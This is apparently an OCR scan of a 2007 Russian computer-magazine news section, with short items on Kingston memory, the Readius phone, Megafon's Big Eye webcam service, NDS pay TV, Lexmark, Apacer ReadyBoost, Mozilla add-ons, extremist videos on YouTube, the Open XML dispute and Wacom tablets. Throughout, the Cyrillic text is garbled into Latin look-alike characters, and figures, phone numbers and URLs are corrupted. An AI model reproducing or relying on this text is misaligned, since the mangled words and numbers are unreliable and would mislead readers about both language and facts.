Ayoox naMOTM. H m n bi Kingston 
ValueRAM DDR2 Registered ECC 
MAeaobHO noAxoAOT Bbico- 
KOnpOM3BOAMTeObHblX BblHMC- 
omeobHbix cMdeM. Ka>KAbiPi 
MOAyob npoxoAMT 24-nacoBoe 
McnbuaHMe Ha OTKa3, pacrnM- 
peHHblPi Ha6op AHHaMMHeCKMX 
TedOB m BM3yaobHyfo npoBepKy. 
Ha MOAyoM naMOTM ValueRAM 
DDR2 KOMnaHMo Kingston npe- 
AOdaBooeT 6eccpoHHyfo ra- 
paHTMio m xpy ro ocyTOH Hy K) 
TexnoAAep>KKy. 

■ UeHa, $: 1270/1690 

■ www.kingston.com 



TEXHOilOTHH 

«Eyr/ia>KHbiM» 

TenecfioH 

PolimerVision,AOHepHoo KOMnaHMo 
ruraHTa Philips, cnepMaoM3MpyK)- 
maoco Ha pa3pa6oTKe m npoM3- 
BOACTBe 30eKTp0HHblX HepHMO, 
Ha KoHrpecce 3GSM npeAdaBMoa 
cbok) HOBePimyK) pa3pa6oTKy — 
Mo6MObHbiPi TeoecjDOH c pa3Bopa- 
HMBafOlAMMCO 3KpaHOM. 

HOBMHKa, nOOyHMBLUaO Ha3B3HMe 
Readius (cociaBHoe ot «HTeHMe» m 
«paAMyo)), npeAdaBooeT co 6 om 
He600blU0M CBeTObIM B30MK OBaOb- 
Horo ceneHMo. B cookchhom BMAe 
oh oerxo noMeiAaeico b pyxe, 
a b pacKpbiTOM — AeMOHCTpupyeT 
TOHKMM HepHO-6eOblPi 3KpaH C AHa- 
roHaobfo 4,5 ak)mm3. 

B TeneHMe roAa pa3pa6oTHMKM 
o6eiAafOT BbinycTMTb pBeTHOM 
6bicipo o6HOBooeMbiPi A^cnoePi, 
no3BOoofoiAMPi npu xopomePi oc- 
BeiAeHHOCTM He xy>Ke MeAManoe- 
epa AGMOHCTpupOBaTb c|3MObMbl. 
ripMHeM 3HepronoTpe6oeHMe no- 
Ao6Horo AHcnoeo ociaHeico, xax 
m y npeAdaBoeHHoPi mo ago m, hmh- 

TO>KHO MaObIM. 

www.polymervision.com 
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H3E1 NEWS & TRENDS 




BIG EYE 


MEflMAnJIEEP C flHATOHAJlbH] 3KPAHA 4,3 flHWMA 



PELUEHMfl flJlfl UMCDPOBOfO TEJIEBMflEHMfl 


fna3 «Merat|)OHa» 


«Merac|30H-MocKBa» m KOMna- 
hma «KpeAmnn^0T.K0M» 3a- 
kjhohmjim comaweHMe o Hana/ie 
coBMecTHoro npoeKTa c pa6o- 
HMM Ha3BaHMeM «BOJlbLUOM 
ma3» (Big Eye), b paMKax ko- 
Toporo CTO/iMHHbie a6oHeHTbi 
CMoryT no/iynaTb Ha 3KpaHbi 
mo6m/i bH bix Te/iec|DOHOB >km Boe 
BMAeon3o6pa>KeHMe c Be6- 
KaMep, pacno/ioweHHbix b pa3- 
J1 MH H bIX paMOHaX MoCKBbl. 

«5ojibwoM m a3» noMO>KeT 


r 1/1 M 1/1 ropOACKMMM C06blTM51MM, 
npoMcxoAfliAMMM Ha y/iMpax 
CTOJlHAbl B KOHKpeTHblM MO- 
MeHT. KdaTM, nepBaa TecTOBaa 
Be6-KaMepa b paMKax npoeKTa 
6bi/ia ydaHOB^eHa b panoHe 
TaraHCKOM n/ionaAM b Hana/ie 
2007 roAa. B nepcneKTMBe n/ia- 
HnpyeTC5i pa3MecTmb TaKMe 
KaMepbi Ha Bcex ocHOBHbix aB- 
TOMarncTpa/i5ix m n/ioiAaAflx 
MCTOpMHeCKOrO UeHTpa MoCKBbl, 
a TaK>Ke b pecropaHax, Kacjae m 
pa3B^eKaie^bHbix peHTpax. 

fl/ifl npocMOTpa TpaHC/i^UMM 
c Be6-KaMep a6oHeHTaM 6yAeT 
AOdaTOHHo CKanaTb Ha cbom 
Te/iec|DOH cneuMa/ibHoe Java- 
npM/ioweHMe. 0co6eHHocTb 
pa3pa6oTKM 3aofOHaeTC5i b 
TOM, HTO HOBbIM CepBMC MO>KeT 
nOAAep>KMBaTbC51 60 JlbWMHC- 
TBOM MOAG/ieM Te/iec|DOHOB — 
BMAeo Ha annapaT 6yAeT nepe- 
AaBaTbCfl no KaHa/iaM EDGE. 

■ www.megafonmoscow.ru 


KoMnaHi/ifl «To^AeH 3/ieKTpo- 
hmkc» npeAcraBMjia nopTaTMBHbm 
MeAMan/ieep X-Cube X-505 c 4,3- 
AfOMMOBbiM AHcn^eeM, OTo6pa>Ka- 
foiAMM 6o/iee 16 mjih abctob m 
MM eioiAMM CTaHAapTHoe pa3pe- 
rneHMe 480x272. 

flM3aMH n/ieepa m n/iocKMe 
KHOnKM npOM3BOA^T OTJlMHHOe 
BnenaTneHMe. 1/13 B03M0>KH0CTeM 
CTOMT OTMeTMTb 3anMCb BV\f\eO 
nepe3 AV-pa3-beM HanpaMyio c 
Te/ieBM3opa, a TaK>Ke noAAep>KKy 
M3T0B (MPEG-4, 


DivX, XviD, AVI, ASF, WMV, DAT, 
VOB, MP3, WMA, WAV, OGG, JPG, 
BMP, GIF, TIF, PNG) m khmt b TXT. 
CbeMHoro aKKyMy/mTopa xBaTa- 
eTHal8 nacoB BocnpoM3BeAeHMA 
My3blKM MJ1M 6 HaCOB BMAeo. 
HDD eMKOCTbio 30 T6aMT npM noA- 
K/ifOHeHMM k KOMnbiOTepy onpeAe- 
/153eTC53 KaK o6blHHblM CbeMHbIM 
HaKonMTe/ib, hto no3BO/iMT coot- 
BeTCTByioiAMM o6pa30M Mcno/ib- 
30BaTb n/ieep. CroMMOCTb X-505 
cocTaBMT npMMepHO $430. 

■ www.xcubedigital.ru 

f&Hbl b ue/iOM yflobeH. ho npeflno- 
jiaraeT ncnojib 30 BaHiie o 6 ewx pyx 


NDS — 3to He HanorH 


llneep 

cbODMaia Razer 


MOCKBMH3M CJieAMTb 3a aBTOMO- 
6njlbHblMM npo6KaMM, Macco- 
BblMM Meponpi451TM51MM M APY" 



KorAa b Poccmm b onepeAHOM pa3 
B0306H0BJlfleTC51 AHCKyCCMfl Ha 
TeMy B03M0)KH0CTM BBeAeHMfl y 
Hac n/iaTHoro Te/ieBMAeHMA, 6o/ib- 
I1IMHCTBO CnopflLAMX MMeiOT OHeHb 

OTAa/ieHHoe npeACTaB/ieHMe o 
tom, hto 3to TaKoe Ha caMOM Ae/ie. 
Ctopohhmkm n/iaTHoro TB nocTO- 
ahho ccbmaiora Ha 3anaAHbm 
onbiT: «ri/iaTHT >Ke b QUA m 
EB pone, noneMyy Hac He 6yAyT?» 
npOTMBHMKM >Ke pe3KO B03pa>Ka- 
K)T MM, CCblJiaflCb Ha TO, HTO HMKTO 
He 6yAeT n/iaTMTb 3a Ha30M/iMByK) 
peK^aMy mMpnoTpe6a. 

OAHaKoyc^yrM n^aTHoro Te/ie- 
BMAeHMfl 03HanaK)T npMHpMnM- 
a^bHO mhom noAxoA. B neM 3a- 

K/1K)H3K)TC51 3TM pa3JlMHMfl, HaM 
nocTapa^MCb o6-b5iCHMTb npeA- 


CTaBMTe/lM aHT/lMMCKOM KOMnaHMM 

NDS (Mo6a^bHbm nocTaB^MK 
pemeHMM b o6^acTM n^aTHoro TB) 
Ha OTKpbiTMM CBoero npeACTaBM- 
Te^bCTBa b MocKBe. 

HTaK, nepBoe m maBHoe OT/iMHMe 
3aK/ifOHaeTC5i b nepcoHa/ibHOM 
opneHTauMM npeAOCTaB^^ieMoro 
no^b30BaTe/iK) pM^poBoro koh- 
TeHTa. 1/lAeT m penb o BenaHMM 
no UJMpOKOnO/lOCHblM MHTepHeT- 
KaHa/iaM (IPTV), mo6m^bhom amc(d- 
POBOM Te/ieBMAGHMM (MDTV), MH- 
TepaKTMBHOM Te/ieBMAeHMM (iTV), 
yc^yrax TMna «BMAeo Ha 3aKa3» 
(VOD), npocMOTpe nporpaMM c 
OH/iaMH-on/iaTOM (IPPV — Impulse 
Pay-Per-View), nepcoHa/ibHOM bm- 
AeopeKopAepe (PRV), MHTepaK- 
TMBHblX a3apTHblX MTpaX M/1M 


npocTO noKynKe TOBapoB b cynep- 
MapKeTe — b ^k>6om c^ynae noc- 
TaBiAMK roTOBbix pemeHMM BcerAa 
6yAeT crapaTbCfl pa6oTaTb c koh- 
KpeTHblM KJlMeHTOM. 

BTopoe Ba>KHoe OT/iMHMe 3aK^io- 
HaeTC^l B TOM, HTO peHb MAeT He 
npocTO o n/iaTHOM TB, a o UMc|3po- 
bom BenaHMM, hto OTKpbiBaeT ne- 
peA no/ib30BaTe/ieM HOBbie bo3- 
mo>khoctm, o KOTopbix paHbme 
Ma^o kto 3aAyMbiBa/ic5i. HaKOHep, 
TpeTbe Ba>KHoe OT/iMHMe 3aK/HOHa- 
eTCfl B MCn0/lb30BaHMM HeTpaAM- 
AMOHHblX KaHa/lOB TpaHC/15U4MM 
CMTHa/ia, T3KMX KaK COTOBbie ceTM 
HSDPA, ropoACKMe 6ecnpoBOAHbie 
CeTM WiMAX M BbICOKOCKOpOCTHbie 
OnTOBO/lOKOHHbie /1MHMM. 

■ www.nds.com/ru 
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mo-biM-ty (n.) 

Ceo6o>qa nepeMemeHMfl! 

no/maa /inneCiKa SecnpoeoAHoro oSopyAOBaHwa TRENDnet 
no3BO/iMT BaM ocTaeaTbCH Ha c besm, tag 6bi Bbi hh HaxoAH/incb. 



BecnpOBOAHafl PC KapTa N- Draft 
TEW-621 PC 


SecnpoeoAHofi wapuipyruaaTop N-Draft 
TEW-631BRP 



OuiyTii CKopocTb c 6ecnpoBOAHbiMi4 npoflyKTaMH ceputi N-Draft: 

CKOpocTb nepe^aHH flam-ibix ao 300M6mt/c - b 10 pas Sbicrpee craHflapTa 802, llg* 

3-x KpaTHoe yBenMHBHue 30Hbi oxsaia 3a cneT ncno/ib3QBaHMH TexHC/ion/m Smart Antennas, 

OTcyTCTBvie 3aA0p>KeK npw pa6oxe c My/ibTmvteAna n p h/i ox<eH m a m m sa chet rexHOAorpin 
Stream Engine or Ubicom. 

CoBMecTHMOCTb c o6opyAOB3HneM Apyrkix n p o M3 BOA^Te/i e v\ , 

MHTynTMBHo noHSRTHbiH Web-M HTep<t>e ihc. 


Super 108G MIMO 

U» ^ 

TEW-6 IIBRP TEW-601PC 


Super 1Q8A+G 

TEW-511BRP TEW-501PC 


Super 1G8G 



TEV\M52BRP TEW-444UB 


54G 

Jb V 

TEW-432BRP TEW-423PI 



www.netlab^ru www,oIdi,ru 


Astel(495) 737-7440, Boston (495) 253-1731, Fo OJnk (495) i94-03S3,Urga (Sl2) 740-7323, UpTop (495) 735-7683, MT Computers (495) 333-93-93, 
OLOI (495) 221-1111, ProNET Group (495) 789-38 46, ULTRA Computers (495) 775-7566, U5N Group (495) 221-7266, X-Com (495) 799-9600, 
AB-rpydH (495) 745-5175, Artec (495) 416-6001, berths setep UWG»P080W (495) 730-3030, !"K ®0pMO3& (495) 234-2164, 
K om n beoispw MiS CynepMapxeT HMKC(49S) 974-3333, HeoTcpr(495) 333-3825, RyccxM^i Ciyuit. (495) 797-57-75, CeTOMfl /1a6opaTopnH (495) 225-7575, 
CTapTMacrep(495) 785-8555, <E-U,eHTp( 495) 10 5-6447, dJe.aepainbK.3H roproBan ceTb-Sunrise (495) 542-8070, 3neKrpQH-CepBMC (495) 737-4499. 


& TREnDnET 

TexmmecKan ruwtepxcKa (495) 737-0410 


WIRELESS 
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nPMHTEPbl K0MI1AHMM LEXMARK 

0(|)MCHblM KOMdaNH 



KoMnaHMR Lexmark International 
BbinycTM/ia HOBoe yHMBepca/ib- 
Hoe ycrponcTBO Lexmark X9350 
Wireless Office All-in -One. 
BdpoeHHbie cpeflCTBa 6ecnpo- 
BOflHon cbr3m Lexmark X9350 
opeHRT Te no^b30Baie/in mo- 
6n^bHbix riK, KOTopbie npeAno- 


HmafOT nenaiaTb AOKyMembi mjim 
M 3o6pa>KeHMR, He 6yAyHM npMBR- 
3aHHbiMH k CBoeMy npMHTepy m 
H e nyiaacb b 6ecKOHeHHbix npo- 
BOAaX. A B OC(DMCaX C 60 JlbWMM 
KO/iMHecTBOM noji b30Baie/ieM 
6ecnpoBOAHbie cem m Ethernet 
no3BO/i5iT nenaiaTb c noMOLAbfo 


eAMHCTBeHHOrO ycTpoMCTBa — 
KaK c np^MbiM coeAMHeHMeM, TaK 
m 6e3 Hero. 

Lexmark X9350 npeAcraB/meT 
co6om HaAe>KHbm annapaT, Bbi- 
no/iHeHHbm M3 6e/ioro njiacTMKa 
c 6/iecTfliAeM Meia/uiMnecKOM ot- 
AO/ikom, cnoco6Hbm nenaiaTb co 
CKOpOCTbK) AO 32 CTpaHMA B MM- 
Hyiy b HepHO-6e/iOM m 27 crpaHMA 
B MMHyTy B ABeTHOM pe>KMMe. 
Lexmark X9350 — 3to He mnbKO 

npMHTep, HO M aBTOHOMHbIM MHO- 
rOCTpaHMHHblM (jDaKCMMM/lbHblM M 
KonMpoBa/ibHbiM annapaT c ycr- 
poMCTBOM aBTOMaTMHecKOM noAa- 
hm AOKyMeHTOB Ha 50 crpaHMA, a 
TaiOKe n^aHiueTHbrn abcthom CKa- 
Hep AJifl npodoro CKaHMpoBaHMR 
AOKyMeHTOB n/in cf)OTorpac|DMM, 
CKaHMpOB3HMR M306pa>KeHMM A-H53 
ompaBKM no e-mail mjim nenaTM 
(r/iy6MHa ABeia — 48 6mt). 

■ UeHa, $: 350 

■ www.lexmark.com 


AKKYMyjIRTOPbl GP 


~^<BeHHbiM» flBnr; 


EZZBZ33ZB EMKOdb 

HMKejib-MeiajiJirMflpMflHbix 

aKKyMyjiRTopoB GP 
cepmi 1100 codaBJiReT 
1070 mAh 



KoMnaHMR GP Batteries, BeAy- 
IAMM npOM3BOAMTe/lb 3/ieMeH- 
TOB n MT3H MR M 3apRAHblX yCT- 
POMCTB M 3aKOHOAaTe/lb MOAbl 
B 06/iaCTM 3/ieKTpoiexH Mnec- 
KMX MHHOBaAMM, BbinycTM/ia 
HMKe/ib-Meia/uirMAPMAHbie aK- 
KyMy/iflTopbi 1100 -M cep m m 
(MMHMMa/lbHaR eMKOCTb — 
1070 mAh) pa3Mepa AAA. n 0 
yTBep>KAOHMK) npOM3BOAMTe/lR, 
3to caMbie MOiAHbie aKKyMy/iR- 
Topbi TaKoro pa3Mepa b MMpe. 
Pa3pa6oTaHHbie npM noMOiAM 
COBpeMeH H bIX TeXHO/lOTMM aK- 
KyMy/iRTopbi GP npeieHAyfOT Ha 
3B3HMe JiyHLUerO MCTOHHMKa nM- 
T3H MR A-n^ CTaHOBRIAMXCR BCe 
60/iee nony/iRpHbiMM AMcfipo- 


BblXTaAweTOB. no cpaBHeHMfo 
c p,pybmv\ 3/ieMeHTaMM nMTa- 
h mr, HanViMep a/iKa/iMHOBbi- 
mm 6aiape\KaMM, aKKyMy/iR- 
Topbi GP V 100 -M cep M M 
pa6oTaK)T b M|P3-n/ieepax Ha 
30% AORbioe. It e 33bmcmmo ot 
xapaKTepa Mc|o/ib30BaHMR, 
oamh aKKyMy/iR-nop 33MeHReT 
AO 1000 6aTapJeeK, hto He 
TORbKO 3 KOHom|o, ho m npe- 
nRTCTByeT 3arpjy HeHMfo OKpy- 
>KaK)iAeM cpe£bi, yMeHbwaR 
KO/l MHeCTBO JrcnORb30BaHHblX 
3ReMeHT0^1MTaHMR. B POCCMM 
HOBbie ^KyMyRRTOpbl npOM3- 
BOACj^a KOMnaHMM GP noR- 
BgifcR b anpe/ie 2007 roAa. 
www.gp-batteries.com 



AKcenepaTop 
Win Vista 

KoMnaHMR Apacer Technology Inc. 
ycneioHo 3 aBepwM/ia TecTMpoBa- 
HMe USB-ycTpoMCTB c noAAep>KKOM 

cfiyHKAMM «ReadyBoost» arr hobom 
onepaAMOHHOM CMdeMbi Windows 
Vista. HoBaR on amr no 3 BORReT 
6 bicipo m c MeHbioMMM 3 aipaiaMM 
yBe/lMHMBaTb npOM 3 BOAMTe/lbHOCTb 
KOMnbiOTepa npn noMOiAM noA- 
K/iK)HeHMR naMRTM Hepe 3 nopT USB 
2.0. npM MCnO/lb 30 BaHMM (fyHK- 
Amm «ReadyBoost», CKopocTb 3 a- 
nMCM M HTeHMR USB-yCTpOMCTB 
Handy Steno B 03 poc/ia ao 200x 
(npoAyKT HT203). 

KorAa HecKOJibKO npMRO>KeHMM 
3 anyiAeHbi OAHOBpeMeHHO Haiec- 
TOBOM nRaTCf)OpMe, USB-yCTpOMCTBO 
KOMnaHMM Apacer MO>KeT yBe/iM- 
HMTb npoM 3 BOAMTe/ibHocTb 6 oRee 
neM Ha 40%. KoMnaHMR Apacer 
npoiecTMpoBa/ia HecKORbKO npo- 
AyKTOB, KOTopbie pa 6 oTaK)T c Tex- 
HO/iorMeM ReadyBoost. Bee npo- 
AyKTbl, pe 3 yRbTaTbl TeCTOB KOTOpbIX 
OKa 3 a/iMCb no/io>KMTe/ibHbiMM, no- 
MeneHbi cneAMaRbHOM HaK/ieMKOM 


Ha ynaKOBKe. www.apacer.com 
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H3E1 NEWS & TRENDS 


BEB-KAMEPA KOMIIAHMM USROBOTICS 


Bnfleo fliiR Skype 


% 


USR819640 


MO)KHO 

npMKpenmb k HoyidyKy, 
pa3MecTmb Ha MOHmope 
nx MJ1M npOCTO yCTaHOBMTb 
Ha pafioneivi CTOJie 



OTMeTMBiuan b npow/iOM rofly 
cbom 30-neTHMM io6MjieM aMepM- 
KaHCKafl KOMnaHM5i USRobotics 
npoflo/DKaeT npoABMraTb Ha poc- 
cmmckom pbiHKe HeAopome pe- 
iueH m c noAAep>KKOM cepBMca 
Skype. B Hana/ie 2007 roAa 6bma 
npeAdaB^eHa HOBan Be6-KaMepa 
USR9640 Mini Cam for Skype. 
B npaMO/iMCTax oH/iaPmoBbix Ma- 
ra3MHOB npoAyKAMfl USRobotics 
nacTO BCTpenaeTCH noA pa3/iMH- 
hom MapKMpoBKOM, HanpMMep, 
Ta >Ke Be6-KaMepa MoweT npoAa- 
BaTbCH KaK USR9640, USR809640 
mi m USR819640. 3ia nyiaHMua 
o6-b5iCHfieTC5i oneHb npocro: 
MOAe/iM, npeAHa3HaneHHbie nnn 
npoAa>KM b CeBepHoPi AMepMKe, 
noMenafOTCfl mhackcom 9640, b 
3anaAHO-eBponeMCKMx ycrpoM- 
CTBax k HOMepy Ao6aB/ifliOT 80, 
aAiifl BOCTOHHO-eBponePicKoro 
pbiHKa — 81. 


KaMepa USR9640 noAAepwM- 
BaeT pa3pemeHne 1,3 MeranMK- 
ce/ieM m nacTOTy 30 KaApoB/c 
AJifl o6ecneHeHM5i BbicoKOKanec- 
TBeHHoro noTOKOBoro bmaoo. 
Xopowan CBeTOHyBCTBme/ib- 
HOdb M yro/i o63opa 70° Ae/iaiOT 
3Ty KaMepy yAo6HbiM MHCTpy- 
MeHTOM BMAeocBA3M. riapaMeTpbi 
HaCTpOMKM M3o6pa>KeHM51 BKJ110- 
HaiOT iipKOCTb, HaCbllAeHHOCTb, 


KOHTpacTHOCTb, nepeBopoT no 
ropn30HTa/in m Bepm Ka/i i/i, a 
TaK>Ke nopipeTHbiM pe>KM m . 
KpoMe toto, b KOMn/ieKT nocraB- 
km bxoamt TaK>Ke npoBOAHa^ 
rapHmypa (MOAe/ib 3aTbi/ioHHO- 
ro Tuna c noBopoTHbiMM Hayiu- 
HMKaMM) C nOAAep>KKOM TeXHO- 
ji otmm HiFi Voice. 

■ UeHa, $: 40 

■ www.usr-emea.com 


PA3PAB0TKA PAQU1MPEHMM 


Mozilla ype3ana Firefox 



n^amHbi A-n^ Firefox BKyne c 
B03MO)KHOCTbK) C03AaBaTb CBOM 
co6cTBeHHbie — 6e3yc/i0BH0, 
oaho M3 maBHbix npeMMymecTB 
3Toro 6pay3epa nepeA Internet 
Explorer. B Mozilla, npaBAa, 
nOCHMTa/lM, HTO MX pa3Be/iocb 
CJ1MWKOM MHOTO. B CBA3M C3TMM 
KOMnaHMii pa3pa6oTa/ia HOBbm 
MHCTpyMeHTapMM, o6HOBMJia AH- 
33MH CaMTa paCUJMpeHMM M, HTO 
caMoe npMMeHaie/ibHoe, coKpaTM- 
Jia MX KOJIMHeCTBO npMMepHo c 
2000 ao 200. noA ho>k now/iM 
caMbie MaprMHa/ibHbie n/iamHbi 
m Te, KOTopbie 6o/ibiue He noAAO- 


p>KMBaiOTC5i aBTopaMM M/iM pa6o- 
TaiOT TOJlbKO C yCTapeBUJMMM 
BepcM^MM 6pay3epa. Ocia/ibHbie 
yc/iOBHo pa3Ae/ieHbi Ha Ase Haem: 
b nepBOM — no/iyHMBiuMe 3HaK 
KanecTBa nojib30Baie/ieM m caMOM 
Mozilla, to ecTb peKOMeHAOBaHHbie 
K MCnOJlb30BaHMK); BO BTOpOM — 
HeAopa6oTaHHbie mjim c comhm- 
Te/lbHOM c|3yHKUMOHa/lbHOCTbK). 
TaKMM o6pa30M, Mozilla paccHMTbi- 
BaeT 06/ierHMTb noMCK m ot6op 
n/iarMHOB pjin HOBbix no/ib30BaTe- 
jiePi. BnponeM, mx koji mhcctbo TaKO- 
Bbix pacTeT He3HaHMTe/ibHo: comac- 
ho AaHHbiM 3a 5iHBapb 2007 roAa, 


Firefox bo BceM MMpe Mcno/ib3yiOT 
/lMUJb 13,7%, a 79,8% ocraeTCH Bce- 
TaKM 3a Internet Explorer. 

Fleo6xoAMMO OTMeTMTb, hto pa3- 
pa6oTKa n/iarMHOB TpeTbMMM jim- 
[\am BcerAa Mcno/ib30Ba/iacb 
KOMnaHMeM KaK no/iMroH a/ia Tec- 
tob, MHorne MHTepecHbie MAen 
BnOCJieACTBMM BK/HOHa/lMCb B OC- 
HOBHyio nocTaBKy AHCTpM6yTMBa. 
fleMCTBMTe^bHO n0^e3HblX C|3yHK- 
AMM, TaKMM 06pa30M,C0 BpeMeHeM 
CTa/io 6ojibme, a noMCK 3ac/iy>KM- 
BaioiAMx BHMMaHMfl n^arMHOB 3a- 
MeTHO ynpocTM^c^i. 

■ https://addons.mozilla.org 



dKCTPEMMCTbl flOHTM HE BblXOflfiT 
H3 TEHH HexoTopbie - TOJlbKO ajir 
nydJiMKauMM BMAeo b 1/lHTepHeTe 

BMflEO B CETM 

NcnaMMCTbi 

MCnO/lb3yH)T 

YouTube 

C pacnpocTpaHeHMeM LUMpoKono- 
ziocHoro AOCTyna m npM OTHOCMTe/ib- 
HOM 3H0HMMH0CTM 1/lHTepHeT CTan 
hobom nnomaAKOM p,nn 3KCTpeMMC- 
TOB, KOTopbie AafOT B03M0>KH0CTb 
B3mnHyTb Ha aomctbm 5 i aMepMKaHC- 
kmx co/iAaT b apa6cKMx CTpaHax c 
ApyroM CTopoHbi. «AMepMKaHCKoe 
TB o6biHHO AOMOHCTpMpyeT nMiub 
3anycKM cbomx paneT, Mbi >Ke nona- 
ge m, Kyqa ohm naAaiOT», — yTBep>K- 
AaiOT ohm. flo HeAaBHero BpeMeHM 
TaKMe BMAeocK»KeTbi nonBnn/iMCb 
TO/ibKO Ha cneuMa/iM3MpoBaHHbix 
caMTax 3KCTpeMMCTCKoro TonKa. 

Tenepb >Ke HepeAKO penopTa>KM, 
CBMAeTe/ibCTByioiAMe o K33hm co/i- 

A3T, M/IM BMAeopO/IMKM C paCCKa30M 
o TexHMKe CHafinepcKOM cTpe/ib6bi 
MO>KHO H3MTM M Ha TaKOM paCKpy- 

neHHOM pecypce KaK YouTube. 

npeACTaBMTe/iM YouTube, Ha ko- 
topom pa3MeiAaeTC5i ao 65 Tbic. 

HOBbix CK))KeTOB e>KeAHeBHo, a ko- 
JlMHeCTBO npOCMOTpOB AOCTMraeT 
100 m/ih b AeHb, OTpearupoBanM Ha 
Mcno^b30BaHMe cepBMca b hobom 
K anecTBe cnoKOMHo: «HaniM npaBM- 
/ia Mcno^b30BaHMn He npeAno/iara- 
K)T ueH3ypy ny6^MKauMM. Bee, hto 
M bi MO>KeM npeA/io>KMTb, 3 to yAa/ie- 
HMe cio>KeTOB, noMeneHHbix no^b30- 
BaTe/iflMM KaK «HenoAo6aioiAMe». 
www.youtube.com 
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H3E1 NEWS & TRENDS 


BOPbBA (DOPMATOB 

Eepona npoTHB 
Open XML 



OpenDocument 

Format 


Open XML, HOBbin c|)opMaT AOKy- 
MeHTOB, ncno^b3yeMbm Microsoft 
b hobom Office 2007, cto/i KH yn- 
Cfl C nepBblMM HenpH51THOCTFlMM. 
5e3 npo6neM nojiyHMBiunM 
OAo6peHne aMepnKaHCKnx Be- 
AOMCTB, OH AO/DKeH 6blTb paTM- 
C|3M AMpOBaH Me>KAyHapOAHOM 
opraHM3apneM no craHAapTM3a- 
u,m (ISO). OAHaKO 19 M3 30 
H/ieHOB KoMmeia no MHc|)opMa- 
AMOHHbiM TexHOJiornflM, Hanpa- 
bmjim b ISO OTpnpaTejibHbie pe- 
AeH3MM Ha c|)opMaT Open XML. 


npMMenaTe/ibHo, hto crpaHbi, 
npeACTaBMTe/iM KOTopbix HeAO- 
BOJlbHbl 3TMM ((DOpMaTOM, y>Ke 
OAo6pnjin n nepew/in Ha koh- 
KypnpyfoiAMM cf)opMaT AOKyMeH- 

tob — OpenDocument Format, 
npoABMraeMbm Sun, IBM m Apy- 
rMMi/i. PaHee Microsoft noTepne- 
jia HecKO/i bKO HeyAan b cnopax 
c OpenOffice.org, noc/ie Hero 
pa3pa6oTa/ia co6cTBeHHbin ot- 
KpblTblM ((DOpMaT AOKyMeHTOB. 

B OTKpbiTOM nncbMe, ony6/iMKO- 
BaHHOM Ha caPiTe Microsoft n 
noAnncaHHOM AByMfl BeAyiAHMM 
MeHeA>KepaMM KOMnaHnn, IBM 
o6BMH5ieTCfl B «CAGp>KMBaHMM» 
Open XML b pe/mx pacnpocrpaHe- 
hma ODF. PeaKUHM IBM Ha o6bm- 
HeHMFi He nocjieAOBano. Bmccto 
3Toro Ha c/ieAyfoiAMM A^Hb 6bm 
yTBep>KAGH ODF 1.1, yHMTbiBafo- 
u\m no>Ke/iaHMFi aABOKaTOB no/ib- 
30Baie/ieM c orpaHMHeHHbmn 
B03M0>KH0CT51MM. 

www.iso.org 


MP3-f1J1EEPbl KOMflAHNII LG 


KpacHoe u nepHoe 


KoMnaHMfl LG Electronics npoAO/i- 
waeT npMB^eKaTb BHMMaHne no- 
KynaTe/ien k cbomm ycrponcTBaM 
He TO/lbKO MX OTJlMHHblMM TeXHM- 
HeCKMMM XapaKTepMCTMKaMM, HO M 
OpMTMHa/lbHblM AH33MHOM. B Ca- 
mom Ae/ie, c/io>kho odaTbCfl paB- 

HOAyiilHblM K HOBbIM MOAe/lflM 

/iMHeMKM UP3. Ohm Bbino/iHeHbi b 
pa3/lMHHOM AM3aMHepCKOM ncno/i- 

HeHMM m pBeTOBOM raMMe. Ec/im 
UP 3 Plus a/ioro pBeia abho opn- 
eHTMpoBaH Ha weHCKyio ayAMTO- 
pMK), TO f\J\S\ My>KHMH UOf\OV\f\eJ 
MOAe^b UP3 Flat — ycrponcTBO, 
npoAO/DKafomee 3anymeHHyK) LG 
b 2006 roAy CTpaierMK) Chocolate. 
UP3 Flat — 3to, KaK 3aflB/meT 


npOM3BOAMTe/l b, «3MOAMOHa/lbHO 
OKpaweHHbiM npoAyKT», coneTaK)- 
iamm nepHbiM m a/ibiM ABeia. 

BawHenwafl oco6eHHocTb UP3- 
MOAy/ifl c cfiyHKAMeM MP3 — B03- 

MO>KHOCTb 3ap5iAKM aKKyMy/mTopa 
HenocpeACTBeHHO nepe3 USB- 
nopT KOMnbfOTepa. Bee UP3-MOAy- 
J1M OTJlMHafOTCfl KOMnaKTHblM pa3- 
MepoM m zierKMM BecoM (ot 18,5 
AO 22 r — B 3aBMCMMOCTM OT 
KOHKpeTHOM MOAe/lM), OT/lMHHblM 
6blCTpOAeMCTBMeM M HaAe>KHOC- 
TbK). UP3-MOAy/lM COBMeCTMMbl C 
Windows 98/SE/ME/2000/XP, Mac 
OS 9.0 m Linux Kernel 2.4.0. 

■ UeHa, $: 65/80 

■ http://ru.lge.com 



rPA(DMHECKME 11 JIAHLUETbl WACOM 

PacKpbiTb Boo6paNceHMe pe6eHKa 


KoMnaHMfl Wacom npeACTaB/meT 
HOByfo pa3pa6oTKy — nrpoBon 
KOMn/ieKT«Boo6pa>KajiKnH». 3 to 
H e npocTO rpac|DMHecKMM n/iaH- 
iueT, a 3/ieKTpOHHafl pa3BMBaK)- 
maa Mrpa, c noMombfo KOTopon 
mo>kho pucoBaTb m pacKpawM- 
BaTb KapTMHKM, pa3raAbiBaTb 
rO/lOBO/lOMKM. «Boo6pa>Ka^KMH» 
pa3BMBaeT y pe6eHKa jiornnec- 
Koe m a6cTpaKTHoe Mbiw/ieHne, 
Me/iKyfo MOTopMKy pyKM n nyBC- 
tbo AseTa, TBopnecKMe cnoco6- 
hoctm. C noMombfo «Boo6pa- 
>Ka/iKMHa» pe6eHOK c jierKOCTbfo 
OB/iaAeeT ochob3mm KOMnbKDTep- 
HOM rpaMOTHOCTM. 


C Ae/lbfO 3HaKOMCTB3 A^TeM, 
poAMTe/ieM m neAaroroB c MrpoM 
«Boo6pa>Ka/iKMH» npeACTaBMTe/iM 
KOMnaHMM Wacom npoBe/iM b ne- 
Tbipex mockobckmx lUKO^ax He- 
o6biHHbie ypoKM «nyTemecTBne b 
CT paHy pMCOB3HM51», Ha KOTOpbIX 
no6biBa^o oko^o 1000 f\ejev\ 
M/iaAwero lUKO^bHoro B03pacTa. 
LUKO^bHMKM pMCOBa/iM, co6npa/in 
na3/ibi, perna^M npMMepbi m 33A3HM 
m ynacTBOBa^M b KOHKypce pncyH- 
KOB.3a45MMHyT«Boo6pa>Ka/iKMH» 
6yKBa/ibH0 npeBpaTM^ ujKO/ibHM- 
KOB B 3aflA/lblX XyAO>KHMKOB. 

■ UeHa, $: 70 

■ www.voobrazhalkin.ru 
